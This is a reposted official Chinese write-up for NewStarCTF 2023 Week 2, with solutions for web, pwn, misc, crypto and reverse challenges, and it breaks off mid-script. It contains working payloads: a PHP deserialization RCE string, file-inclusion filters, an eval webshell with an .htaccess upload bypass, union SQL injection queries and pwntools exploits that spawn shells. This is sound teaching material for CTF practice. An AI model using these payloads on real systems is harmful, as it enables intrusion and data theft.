NewStarCTF 2023 Week2 官方WriteUp(转载)

 原文连接:NewStarCTF 2023 Week2 官方WriteUp

一.web

1.游戏高手

  • 考点:JavaScript分析
  • FLAG:动态FLAG
  • 解题步骤

去查看源代码中的app_v2.js文件内容,可以看到在游戏结束的处理时代码如下:

function gameover(){
    if(gameScore > 100000){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/api.php", true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var response = JSON.parse(xhr.responseText);
            alert(response.message);
        }
        };
        var data = {
            score: gameScore,
        };
        xhr.send(JSON.stringify(data));
    }
	alert("成绩:"+gameScore);
	gameScore=0;  
	curPhase =PHASE_READY;  
	hero = null;
	hero = new Hero();  	    
}

可以看到当分数大于10w分的时候XHR会向api.php发送一个json数据包,json内容如下:

{"score":gameScore}

然后我们可以使用Burp Suite来完成发包:

POST /api.php HTTP/1.1

Host: d1d8c388-e024-4994-9a21-27cd7e042989.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

Content-Length: 17

Connection: close

{"score":1000000}

除此之外也可以直接在控制台设置gameScore的值,然后结束游戏就可以获得Flag:

2.Unserialize?

  • 考点:PHP反序列化漏洞基础、RCE Bypass
  • FLAG:动态FLAG
  • 解题步骤

进入题目给出源码,思路很简单,只需要设置evil类中cmd成员的值然后反序列化触发__destruct析构函数即可触发RCE

RCE的绕过也很简单,过滤了一些读取文件的命令,但是仍然很多命令可以用,例如head。

需要注意的是这里的cmd是private属性的,因此需要对序列化字符串进行urlencode,构造Exp如下:

<?php
class evil {
    private $cmd = 'head /th1s_1s_fffflllll4444aaaggggg';
}
echo urlencode(serialize(new evil));
//O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22head%20%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

 注意要把命令中的加号替换为%20或者空格。

3.include 0。0

  • 考点:PHP文件包含漏洞
  • FLAG:动态FLAG
  • 解题步骤

进入题目给出源码,需要读取flag.php文件,读取PHP文件需要使用php://filter协议中的过滤器来对文件内容进行编码,但是这里过滤了base和rot。

 

还有其他的一些过滤器可以使用,例如convert.iconv系列的过滤器,由此构造Payload:

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

得到flag.php文件经过编码后的内容:

+ADw?php //flag+AHs-bbf7eff4-e6b8-4fd6-bfd8-8b9679c002eb+AH0

可以直接根据Flag格式转换出原本的文件内容:

flag{bbf7eff4-e6b8-4fd6-bfd8-8b9679c002eb}

也可以找个在线的UTF-7转UTF-8工具:https://www.novel.tools/decode/UTF-7

除了这个过滤器外还有很多可用的过滤器,解法不唯一。

4.Upload again!

  • 考点:PHP文件上传漏洞
  • FLAG:动态FLAG
  • 解题步骤

本题主要考点是绕过后端对后缀名的限制,apache解析漏洞,绕过对文件内容的检测

抓包上传上一次的1.jpg内容为

//绕过<?限制的一句话 
<script language="php">@eval($_POST['shell']);</script>

然后上传.htaccess文件,让服务器把.jpg文件当成php解析 

 AddType application/x-httpd-php .jpg 

然后访问1.jpg执行命令即可获得Flag: 

 5.R!!C!!E

 

  • 考点:git源码泄露、无参数 RCE
  • FLAG:动态FLAG
  • 解题步骤

首先看到提示有信息泄露,可以使用dirsearch扫,扫出了 /.git ,使用GitHack工具获取源码。扫出index.php,就是主页的源码,没有有效信息,还有一个bo0g1pop.php ,代码如下:

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。

第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。

payload(使用 bp 发送的请求):

GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1

Host: faf83665-1a88-473a-b765-ddd33c6cf370.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

X-Forwarder-Proto: system('cat /f*');

Upgrade-Insecure-Requests: 1

 

6.ez_sql

  • 考点:union注入、大小写绕过
  • FLAG:动态FLAG
  • 解题步骤

给id传 TMP0919'# ,可以查出结果,说明存在注入。#要编码成%23。

 查询的信息可以回显,说明是union注入,然后要判断字段数。

?id=TMP0919' Order by 1#

从1一直递增,递增到6时,页面不回显,说明字段数是5.

?id=1' uNion Select 1,2,3,4,5#

 

查询表名

?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23

 

查询字段名

?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23

 

查询Flag值:

?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23

 

二.Pwn

1.stack_migration

  • 考点:%s leak、栈迁移
  • FLAG:动态FLAG
  • 解题步骤

因为printf的%s只有遇到'\x00'才会停止输出,所以可以带出后面的libc地址

给了栈地址,就可以栈迁移打rop

from pwn import *

context.update(os='linux',arch='amd64',log_level='debug')

binary='./pwn'

elf=ELF(binary)

libc=ELF('./libc.so.6')

debug=0

if debug:

    libc=elf.libc

    p=process(binary)

else:

    host='127.0.0.1'

    port='1145'

    p=remote(host,port)



ret = 0x000000000040101a

pop_rdi_ret = 0x0000000000401333

leave_ret = 0x00000000004012AA



p.sendafter("your name:\n", b'a'*8)

p.recvuntil('a'*8)



libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["_IO_file_jumps"]

binsh = next(libc.search(b"/bin/sh"))

success("libc-->" + hex(libc.address))



p.recvuntil("I have a small gift for you: ")



rop_addr = int(p.recv(14), 16) + 8

success("rop_addr-->" + hex(rop_addr))



p.recvuntil("more infomation plz:\n")



pay = p64(pop_rdi_ret) + p64(binsh) + p64(libc.sym["system"])

pay = pay.ljust(0x50, b'\x00')

pay += p64(rop_addr - 8)

pay += p64(leave_ret)



p.send(pay)



p.interactive()

2.canary

  • 考点:格式化字符串,栈溢出
  • FLAG:动态FLAG
  • 解题步骤

正如题目名字一样,本题开启了canary保护,可以自行搜索canary的工作原理与绕过方法,需要通过题目中print(buf)这个格式化字符串漏洞来泄露出canary的值,然后将canary的值覆盖到rbp-8的位置,再覆盖rbp和返回地址,来执行ret2text即可

from pwn import *

context(os="linux", arch="amd64", log_level="debug")

p=remote("node4.buuoj.cn",25251)

# p=process("./canary")



p.sendlineafter("Give me some gift?\n","aaaaaaaa%11$p".encode())

p.recvuntil("aaaaaaaa")

canary=int(p.recvuntil(b"00").decode(),16)

print(hex(canary))

p.sendafter("Show me your magic",b'a'*40+p64(canary)+b'a'*8+p64(0x401262))

p.interactive()

3.ret2libc

  • 考点:栈溢出、ret2libc
  • FLAG:动态FLAG
  • 解题步骤

存在pop_rdi_ret的gadget,可以将puts_got的值存入rdi,调用puts就可以打印出puts函数的真实地址,从而泄露libc,在libc中寻找system函数,/bin/sh字符串的地址,就可以通过同样的方法调用system('/bin/sh')

from pwn import *

from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")

# p = process('./ret2libc')

p=remote('node4.buuoj.cn',27442)

elf = ELF('./ret2libc')

# libc=ELF('./libc.so.6')



puts_plt=elf.plt['puts']

puts_got=elf.got['puts']

main_addr=0x400698

pop_rdi_ret=0x400763

ret=0x4006F1



payload=b'a'*40+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.sendline(payload)

puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

print(hex(puts_addr))



# 提供三种计算libc的解法

# 题目给出libc时

# libc_base   = puts_addr - libc.symbols['puts']

# system_addr = libc_base + libc.symbols['system']

# bin_addr    = libc_base + next(libc.search(b'/bin/sh'))



# libcsearcher

# libc        = LibcSearcher("puts",puts_addr)

# libc_base   = puts_addr - libc.dump("puts")

# system_addr = libc_base + libc.dump("system")

# bin_addr    = libc_base + libc.dump("str_bin_sh")



# libc.blukat.me 查询libc版本后手动计算(推荐)

libc_base   =   puts_addr - 0x080970

system_addr =   libc_base + 0x04f420

bin_addr    =   libc_base + 0x1b3d88



payload2=b'a'*40+p64(pop_rdi_ret)+p64(bin_addr)+p64(ret)+p64(system_addr)

p.sendline(payload2)

p.interactive()

4.secret number

  • 考点:printf格式化字符串
  • FLAG:动态FLAG
  • 解题步骤

题目开启pie,需要同canary题目一样先通过格式化字符串泄露出pie的基址,从而计算出要修改的num真实地址,然后调用pwntools的fmt_payload函数可以自动生成出格式化字符串,修改需要猜测的num值为我们想要的比如1,然后发送1即可判断成功

from pwn import *

context(arch='amd64',os='linux',log_level='debug')

p=remote("node4.buuoj.cn",29092)

# p = process('./secretnumber')



offset=8

num_addr = 0x404c



##leak pie

p.sendlineafter("(0/1)\n",'1')

payload = "aaaaaaaa%17$p".encode("utf-8")

p.sendlineafter("What's it\n",payload)

p.recvuntil('aaaaaaaa')

main_addr=int(p.recvuntil('f5')[-12:],16)

pie=main_addr-0x12F5

print(hex(main_addr))

print(hex(pie))

num_addr += pie



##fmtpayload

p.sendlineafter("(0/1)\n",'1')

fmtpayload=fmtstr_payload(offset, {num_addr:1})

p.sendlineafter("What's it\n",fmtpayload)

p.sendlineafter("(0/1)\n",'0')

p.sendlineafter("Guess the number\n",'1')

p.interactive()

5.shellcode revenge

  • 考点:可见字符串shellcode
  • FLAG:动态FLAG
  • 解题步骤

题目限制0-9,A-Z的可见字符串输出,用这些字符串生成可以用的shellcode,可以看到一些xor操作,通过xor的操作对寄存器赋值,题目已经预先设置好read的寄存器,只需要执行出syscall就好,syscall的read不限制字符串输入,但是输入的地址是在rsi=0x66660000,目前执行的地址是有一定偏移的,加入一些nop滑板然后直接使用pwntools生成就好。可以参考b站imLZH1师傅的视频BV1Z14y1B7ji

from pwn import *

context(arch='amd64',os='linux',log_level='debug')

p = remote("node4.buuoj.cn",27904)

#p = process('./shellcodere')



payload =  b'\x33\x42\x38'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]

payload += b'\x31\x42\x30'  #31 42 30 xor DWORD PTR [rdx+0x30], eax

payload += b'\x33\x42\x37'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]

payload += b'\x31\x42\x38'  #31 42 38 xor DWORD PTR [rdx+0x38], eax

payload += b'\x59'*(0x30-len(payload))  #59 pop rcx

payload += b'\x4e\x44'*2    #syscall  0x4e^0x41=0xf 0x44^0x41=0x5

payload += b'A'*8           #xor key

p.sendlineafter("magic\n",payload)

pause()

p.sendline(b'\x90'*0x50+asm(shellcraft.sh()))

p.interactive()

 三.Misc

1.Jvav

  • 考点:JAVA盲水印
  • FLAG:flag{3bb3c3a628a94c}
  • 解题步骤

根据题目提示,参考题目名Jvav,可以检阅到Java盲水印的知识。

可以利用这个项目来提取Java盲水印内容:https://github.com/ww23/BlindWaterMark

 得到FLAG:flag{3bb3c3a628a94c}

2.base!

  • 考点:Base64隐写
  • FLAG:flag{b4se_1s_4_g0od_c0d3}
  • 解题步骤

题目考查Base64隐写,可以参考这篇文章的原理:https://cloud.tencent.com/developer/article/2160364

提取隐写内容的脚本,注意以python2运行:

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

with open('base.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = ''.join(line.split())
        rowb64 =  ''.join(stegb64.decode('base64').encode('base64').split())

        offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
        equalnum = stegb64.count('=') #no equalnum no offset

        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)

        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

 得到隐写内容:

iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8

Base58解密得到Flag:

 3.新建Word文档

  • 考点:Word文档隐藏文字、新佛曰加密
  • FLAG:flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}
  • 解题步骤

打开Word文档查看隐藏字体可以得到如下密文:

新佛曰:毘諸隸僧降吽諸陀摩隸僧缽薩願毘耨咤陀願羅咤喃修願宣亦宣寂叻寂阿是吽阿塞尊劫毘般毘所聞降毘咒塞尊薩咒毘所若降般斯毘嚴毘嚴波斯迦毘色毘波嚴毘喃念若修嘚般毘我毘如毘如囑囑

WPS可以选择“清除格式”来得到密文。

新佛曰加密,利用在线工具 http://hi.pcmoe.net/buddha.html 进行解密得到Flag:

 

4.永不消逝的电波

  • 考点:音频摩斯电码
  • FLAG:flag{thebestctferisyou}
  • 解题步骤

打开音频可以听到有节奏的滴答声,使用Audacity查看波形图推断是摩斯电码:

将摩斯电码提取出来:

..-./.-../.-/--./-/...././-..././.../-/-.-./-/..-././.-./../.../-.--/---/..-

解码得到: 

flagthebestctferisyou 

根据题目提示包裹花括号得到FLAG: 

flag{thebestctferisyou} 

5.1-序章

  • 考点:SQL注入日志分析
  • FLAG:flag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}
  • 解题步骤

题目给出了Web请求日志,经过分析可以看出是SQL盲注的日志信息,Payload为:

-1 or if(ascii(substr((select group_concat(username,password) from user),位数,1))=字符ASCII码,sleep(1),1)--+

当注入到某一位的正确字符后会结束这一位的爆破,进行下一位的注入,例如

172.17.0.1 - - [20/Aug/2023:00:08:44 +0800] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),7,1))=110,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"

172.17.0.1 - - [20/Aug/2023:00:08:47 +0800] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),8,1))=40,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"

 

如上的日志信息就说明第7位字符的ASCII码为110,根据这个原理可以编写脚本来提取日志中的注入结果,也有很多现成的脚本稍微修改一下就可以使用,可以参考这篇文章的分析:https://www.cnblogs.com/0yst3r-2046/p/12322110.html

稍微修改一下脚本,需要以Python2运行:

# coding:utf-8
import re
import urllib
 
f = open('access.log','r')
lines = f.readlines()
datas = []
for line in lines:
    t = urllib.unquote(line) 
    datas.append(t)
 
flag_ascii = {}  
for data in datas:
    matchObj = re.search( r'user\),(.*?),1\)\)=(.*?),sleep', data)
    if matchObj:
        key = int(matchObj.group(1))
        value = int(matchObj.group(2))
        flag_ascii[key] = value
        
flag = ''
for value in flag_ascii.values():
    flag += chr(value)
    
print flag

 得到注入内容,后半段即为FLAG:

you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32},

6.WebShell的利用

  • 考点:PHP代码解密
  • FLAG:动态FLAG
  • 解题步骤

其实这道题偏向于Web题目,代码加密也很简单,在分析时可以将eval修改为echo,调试几次之后发现其实解密方式是固定的,只是进行了嵌套多次加密,由此可以编写PHP脚本对WebShell脚本进行解密:

<?php
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('此处省略题目文件中的编码内容')))));";
for($i=0; $i<50; $i++){
    if(preg_match("/base64/",$shell)){
        $tmp = preg_replace("/eval/","return ",$shell);
        $shell = eval($tmp);
    }else{
        break;
    }
}
echo $shell;

最终得到WebShell:

error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']); 

这里就是一个简单的函数的动态调用,GET传入函数名,POST传入函数参数:

 四.Crypto

1.broadcast

  • 考点:broadcast
  • FLAG:动态FLAG
  • 解题步骤

 

阅读源码我们可以知道,可以通过输入多个1选项来获取多组n, c。获取足够多的组数就可以在不分解n的情况下求出m^e了。

下面是交互代码:

import gmpy2
from Crypto.Util.number import *
def CRT(cList, nList):
    M = 1
    for i in nList:
        M = M * i   #计算M = ∏ mi
    x = 0
    for i in range(len(nList)):
        Mi = M // nList[i]
        Mi_inverse = gmpy2.invert(Mi, nList[i])
        x += cList[i] * Mi * Mi_inverse
    x = x % M
    return x
from pwn import *
context.log_level= "debug"
p = remote("node4.buuoj.cn", 25450)
n_list = []
c_list = []
for _ in range(17):
    p.recvuntil(b'> ')
    p.sendline(str(1))
    n = int(p.recvline().decode().strip('\n').split('=')[1])
    c = int(p.recvline().decode().strip('\n').split('=')[1])
    n_list.append(n)
    c_list.append(c)
m = CRT(c_list, n_list)
print(m)
print(long_to_bytes(gmpy2.iroot(m, 17)[0]))

2.rotate_xor

  • 考点:Z3求解器的简单使用
  • FLAG:flag{z3_s0lv3r_15_bri11i4nt}
  • 解题步骤

z3一把梭(

from z3 import *
from Crypto.Util.number import *
from pwn import xor

ROUND = 12
s = Solver()
ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
enc_k1 = BitVecVal(7318833940520128665, 64)
k2 = BitVecVal(9982833494309156947, 64)
k1 = BitVec('k1', 64)

def encrypt_key(key):
    
    for _ in range(ROUND):
        key = RotateLeft(key, 3) ^ k2
    return key
s.add(enc_k1 == encrypt_key(k1))
s.check()
k1 = s.model()[k1].as_long()

flag = xor(ciphertext, long_to_bytes(k1))

print(flag)

3.halfcandecode

  • 考点:RSA p-q过小, md5爆破
  • FLAG:flag{two_cloabcse_t0_fact0r}
  • 解题步骤

我们知道 p < sqrt(n) < q (假设 p < q), 假设p-q过小的话, sqrt(n) 会很接近p或者q

md5爆破就是很正常的爆破

from gmpy2 import *
from Crypto.Util.number import *
from hashlib import md5
from string import printable
n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
c = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649

md5_hash = [
    '4a8a08f09d37b73795649038408b5f33',
    '03c7c0ace395d80182db07ae2c30f034',
    'e1671797c52e15f763380b45e841ec32',
    'b14a7b8059d9c055954c92674ce60032',
    'e358efa489f58062f10dd7316b65649e',
    'cfcd208495d565ef66e7dff9f98764da',
    'b14a7b8059d9c055954c92674ce60032',
    '8fa14cdd754f91cc6554c9e71929cce7',
    '0cc175b9c0f1b6a831c399e269772661',
    '4a8a08f09d37b73795649038408b5f33',
    'e358efa489f58062f10dd7316b65649e',
    'cfcd208495d565ef66e7dff9f98764da',
    '4b43b0aee35624cd95b910189b3dc231',
    'cbb184dd8e05c9709e5dcaedaa0495cf'
]

q = next_prime(iroot(n, 2)[0])
assert n % q == 0
p = n // q

d = invert(0x10001, (p-1)*(q-1))

m = pow(c,d,n)

print(long_to_bytes(m))

mm = ''

for h in md5_hash:
    for p in printable:
        if md5(p.encode()).hexdigest() == h:
            mm += p
print(mm)

4.滴啤

  • 考点:已知dp分解n
  • FLAG:flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}
  • 解题步骤

我们知道 对于任意的小于p的非负自然数r, 有 r = r^(e*dp) (mod p)

故 r^(e*dp) - r = k*p, 由于 p | n, 我们可以在mod n上计算, 减小计算量.

from Crypto.Util.number import *

n = 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
dp = 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
c = 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089
e = 65537
r = getPrime(64)
pp = pow(r, e*dp, n) - r

p = GCD(n, pp)
q = n // p
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)

print(long_to_bytes(m))

 5.不止一个pi

  • 考点:phi(n)的一般计算公式
  • FLAG:flag{bu_zhi_yige_p1dsaf}
  • 解题步骤

查查百科或者了解一下即约剩余系(

from Crypto.Util.number import *

q =  115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
p =  171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
c =  4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337

n = p ** 3 * q ** 2

e = 65537

phi = p ** 2 * (p - 1) * q * (q - 1)

d = inverse(e, phi)

m = pow(c, d, n)

print(long_to_bytes(m))

6.partial decrypt

  • 考点:RSA-CRT的解密过程
  • FLAG:flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}
  • 解题步骤

RSA-CRT是一个很常见的RSA变种方案, 这道题把RSA-CRT的解密过程抽掉了一半, 可以查找相关资料得到剩余步骤. (当然, 你也可以试着自己推导一下)

from Crypto.Util.number import *

m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
h = 4180720137090447835816240697100630525624574275
q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931

m = m2 + h*q

print(long_to_bytes(m))

五.Reverse

1SMC

  • 考点:PEB 调试标志位+SMC
  • FLAG:flag{SMC_1S_1nt3r3sting!!R1ght?}
  • 解题步骤

先过掉反调试,直接修改ZF标志位为1

或者

 

修改al的值为0都可以

然后继续单步调试

 

代码自解密的函数对代码进行异或解密,此时后面sub_403040处的代码就解密完成了,此时可以按F7单步进入。

 

这里爆红,就需要手动创建函数,也可以按快捷键P键。

然后按下F5键。

s=[    0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25, 0x47, 0x53, 0x25, 0x84, 0x6A, 0x27, 
    0x68, 0x27, 0x67, 0x6A, 0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A, 0x33, 0x71]
for i in range(len(s)):
    print(chr(s[i]-5^0x11),end="")# ^号运算符优先级低于减号

2.AndroGenshin

  • 考点:RC4、换表Base64
  • FLAG:flag{0h_RC4_w1th_Base64!!}
  • 解题步骤

通过RC4解密得到base64的表,再进行base64解密

username = b"genshinimpact"
base64_table = [125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211,
                164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144,
                231, 250, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235,
                3, 54, 150, 40, 119, 202, 150]
def rc4(key, data):
    S = list(range(256))
    j = 0
    out = []
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    for t in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(t^ S[(S[i] + S[j]) % 256])
    return out
import base64
def base64_custom_decode(data, custom_table):
    original_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    decode_table = str.maketrans(custom_table, original_table)
    decoded_data = base64.b64decode(data.translate(decode_table))
    return decoded_data
retval = rc4(username, base64_table)
new_table = "".join([chr(t) for t in retval])
enc_data = "YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1="
print(base64_custom_decode(enc_data, new_table))

输入正确的username和password 会跳转到Mainactivity2......然后就是 原神!启动!

3.R4ndom

  • 考点:伪随机、反调试
  • FLAG:flag{B8452786-DD8E-412C-E355-2B6F27DAB5F9}
  • 解题步骤

.init_array段中存在反调试和通过srand函数设置随机数种子,init_array段的函数执行时机早于main函数

通过ptrace实现反调试,学习文章。只需要Patch指令或者修改ZF标志位的值即可完成绕过 

 设置随机数种子

 密文赋值和校验部分省略,主要看加密部分,阅读这段代码可知首先把输入字符串的单个字符值和rand()%255的值相加,将相加的结果作为索引来获取Table中的值

由于设置了随机数种子,所以每次rand()的结果都是一样的,这就是伪随机。

所以我们只需要获取到密文和Table之后进行比对,得到密文在Table的位置,将得到的索引减去rand()%255的结果就是我们的flag,脚本如下,由于rand函数在Windows和Linux环境下得到的结果不相同,所以需要将下面的脚本运行在Linux环境下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
__uint8_t Table[256] = {
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16};
int main()
{
    srand(1400333646);
    __uint8_t enc[42] = {
